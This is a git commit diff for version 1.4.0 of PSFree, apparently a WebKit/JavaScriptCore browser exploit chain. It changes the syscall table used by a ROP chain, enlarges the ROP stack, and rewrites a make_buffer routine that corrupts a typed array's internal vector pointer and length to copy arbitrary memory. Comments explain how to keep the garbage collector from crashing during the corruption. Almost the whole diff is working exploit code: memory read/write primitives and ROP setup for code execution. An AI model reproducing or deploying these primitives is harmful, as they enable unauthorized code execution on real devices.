Update to 1.4.0
This commit is contained in:
+19
-2
@@ -28,14 +28,31 @@ import * as o from './offset.mjs';
|
||||
|
||||
// put the sycall names that you want to use here
|
||||
export const syscall_map = new Map(Object.entries({
|
||||
'close': 6,
|
||||
'setuid' : 23,
|
||||
'getuid' : 24,
|
||||
'mprotect': 74,
|
||||
'socket' : 97,
|
||||
'fchmod' : 124,
|
||||
'mlock' : 203,
|
||||
'kqueue' : 362,
|
||||
'kevent' : 363,
|
||||
'mmap' : 477,
|
||||
// for JIT shared memory
|
||||
'jitshm_create' : 533,
|
||||
'jitshm_alias' : 534,
|
||||
}));
|
||||
|
||||
// Extra space to allow a ROP chain to push temporary values. It must pop all
|
||||
// of it before reaching a "ret" instruction, else the instruction will pop one
|
||||
// of the temporaries as its return address.
|
||||
const upper_pad = 0x100;
|
||||
const stack_size = 0x1000;
|
||||
//
|
||||
// Also space for additional frames when we call a function since we do not
|
||||
// pivot the call to another stack (the called function's stack pointer is
|
||||
// pointing to our ROP stack as well).
|
||||
const upper_pad = 0x10000;
|
||||
// maximum size of the ROP stack
|
||||
const stack_size = 0x10000;
|
||||
const total_size = upper_pad + stack_size;
|
||||
|
||||
const argument_pops = [
|
||||
|
||||
@@ -114,6 +114,11 @@ export class Int {
|
||||
this.buffer = buffer;
|
||||
this.bytes = bytes;
|
||||
|
||||
this.eq = operation(function eq(b) {
|
||||
const a = this;
|
||||
return a.low() === b.low() && a.high() === b.high();
|
||||
}, 1);
|
||||
|
||||
this.neg = operation(function neg() {
|
||||
let type = this.constructor;
|
||||
|
||||
|
||||
+1
-26
@@ -1,4 +1,4 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
/* Copyright (C) 2023-2024 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
@@ -208,31 +208,6 @@ class MemoryBase {
|
||||
}
|
||||
|
||||
export class Memory extends MemoryBase {
|
||||
constructor(main, main_addr, worker, worker_addr, worker_index) {
|
||||
super();
|
||||
|
||||
this.main = main;
|
||||
this.main_addr = main_addr;
|
||||
this.worker = worker;
|
||||
this.worker_addr = worker_addr;
|
||||
|
||||
// The initial creation of the "a" property will change the butterfly
|
||||
// address. Do it now so we can cache it for addrof().
|
||||
worker.a = 0; // dummy value, we just want to create the "a" property
|
||||
this.butterfly = read64(main, worker_index + o.js_butterfly);
|
||||
|
||||
write32(main, worker_index + o.view_m_length, 0xffffffff);
|
||||
// setup main's m_vector to worker
|
||||
write64(main, worker_index + o.view_m_vector, main_addr);
|
||||
write64(worker, o.view_m_vector, worker_addr);
|
||||
|
||||
this._current_addr = main_addr;
|
||||
|
||||
init_module(this);
|
||||
}
|
||||
}
|
||||
|
||||
export class Memory2 extends MemoryBase {
|
||||
constructor(main, worker) {
|
||||
super();
|
||||
|
||||
|
||||
+38
-19
@@ -1,4 +1,4 @@
|
||||
/* Copyright (C) 2023 anonymous
|
||||
/* Copyright (C) 2023-2024 anonymous
|
||||
|
||||
This file is part of PSFree.
|
||||
|
||||
@@ -26,42 +26,61 @@ import { read32 } from './rw.mjs';
|
||||
import * as rw from './rw.mjs';
|
||||
import * as o from './offset.mjs';
|
||||
|
||||
// creates an ArrayBuffer whose contents is copied from addr
|
||||
export function make_buffer(addr, size) {
|
||||
// see enum TypedArrayMode from
|
||||
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h
|
||||
// at webkitgtk 2.34.4
|
||||
//
|
||||
// views with m_mode < WastefulTypedArray don't have a ArrayBuffer object
|
||||
// associated with them, if we ask for view.buffer, it will be created on
|
||||
// the fly
|
||||
const mode_fast = 0;
|
||||
const u = new Uint8Array(1);
|
||||
// see possiblySharedBuffer() from
|
||||
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h
|
||||
// at webkitgtk 2.34.4
|
||||
//
|
||||
// Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object
|
||||
// associated with them, if we ask for view.buffer, the view will be
|
||||
// converted into a WastefulTypedArray and an ArrayBuffer will be created.
|
||||
//
|
||||
// We will create an OversizeTypedArray via requesting an Uint8Array whose
|
||||
// number of elements will be greater than fastSizeLimit (1000).
|
||||
//
|
||||
// We will not use a FastTypedArray since its m_vector is visited by the
|
||||
// GC and we will temporarily change it. The GC expects addresses from the
|
||||
// JS heap, and that heap has metadata that the GC uses. The GC will likely
|
||||
// crash since valid metadata won't likely be found at arbitrary addresses.
|
||||
//
|
||||
// The FastTypedArray approach will have a small time frame where the GC
|
||||
// can inspect the invalid m_vector field.
|
||||
//
|
||||
// Views created via "new TypedArray(x)" where "x" is a number will always
|
||||
// have an m_mode < WastefulTypedArray.
|
||||
const u = new Uint8Array(1001);
|
||||
const u_addr = mem.addrof(u);
|
||||
|
||||
// we won't change the butterfly and m_mode so we won't save those
|
||||
const old_addr = u_addr.read64(o.view_m_vector);
|
||||
u_addr.write64(o.view_m_vector, addr);
|
||||
|
||||
const old_size = u_addr.read32(o.view_m_length);
|
||||
|
||||
u_addr.write64(o.view_m_vector, addr);
|
||||
u_addr.write32(o.view_m_length, size);
|
||||
|
||||
const old_mode = u_addr.read32(o.view_m_mode);
|
||||
// force mode to FastTypedArray
|
||||
u_addr.write32(o.view_m_mode, mode_fast);
|
||||
const copy = new Uint8Array(u.length);
|
||||
copy.set(u);
|
||||
|
||||
const res = u.buffer;
|
||||
// We can't use slowDownAndWasteMemory() on u since that will create a
|
||||
// JSC::ArrayBufferContents with its m_data pointing to addr. On the
|
||||
// ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can
|
||||
// cause a crash if the m_data is not from the fastMalloc heap, and even if
|
||||
// it is, freeing abitrary addresses is dangerous as it may lead to a
|
||||
// use-after-free.
|
||||
const res = copy.buffer;
|
||||
|
||||
// restore
|
||||
u_addr.write64(o.view_m_vector, old_addr);
|
||||
u_addr.write32(o.view_m_length, old_size);
|
||||
u_addr.write32(o.view_m_mode, old_mode);
|
||||
|
||||
return res;
|
||||
}
|
||||
|
||||
function eq(a, b) {
|
||||
return (a.low() === b.low()) && (a.high() === b.high());
|
||||
}
|
||||
|
||||
// these values came from analyzing dumps from CelesteBlue
|
||||
function check_magic_at(p, is_text) {
|
||||
// byte sequence that is very likely to appear at offset 0 of a .text
|
||||
@@ -88,7 +107,7 @@ function check_magic_at(p, is_text) {
|
||||
const magic = is_text ? text_magic : data_magic;
|
||||
const value = [p.read64(0), p.read64(8)];
|
||||
|
||||
return eq(value[0], magic[0]) && eq(value[1], magic[1]);
|
||||
return value[0].eq(magic[0]) && value[1].eq(magic[1]);
|
||||
}
|
||||
|
||||
// Finds the base address of a segment: .text or .data
|
||||
@@ -156,7 +175,7 @@ export function resolve_import(import_addr) {
|
||||
// of the next instruction. This means that the actual address used is
|
||||
// [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the
|
||||
// jump instruction, which is 6 in this case.
|
||||
const function_addr = import_addr.add(offset.add(6)).readp(0);
|
||||
const function_addr = import_addr.readp(offset.add(6));
|
||||
|
||||
return function_addr;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user